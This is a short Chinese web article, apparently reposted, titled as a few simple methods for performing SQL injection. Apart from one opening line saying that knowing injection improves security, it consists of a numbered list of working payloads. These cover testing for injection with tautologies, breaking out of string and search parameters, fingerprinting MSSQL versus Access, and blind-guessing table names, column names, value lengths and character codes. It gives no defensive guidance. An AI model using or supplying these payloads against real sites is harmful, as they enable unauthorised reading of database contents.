首页 > 数据库 > 文库 > 正文

进行SQL注入的几个简单方法

2023-06-13 18:49:20
字体:
来源:转载
供稿:网友

了解SQL注入可以有效提升程序的安全,下面给出几个简单的SQL注入方式:

1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符'and [查询条件] and ''='

4.搜索时没过滤参数的'and [查询条件] and '%25'='

5.判断数据库系统

;and (select count(*) from sysobjects)>0 mssql
  ;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.

(1)猜字段的ascii值(access)

;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)

;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表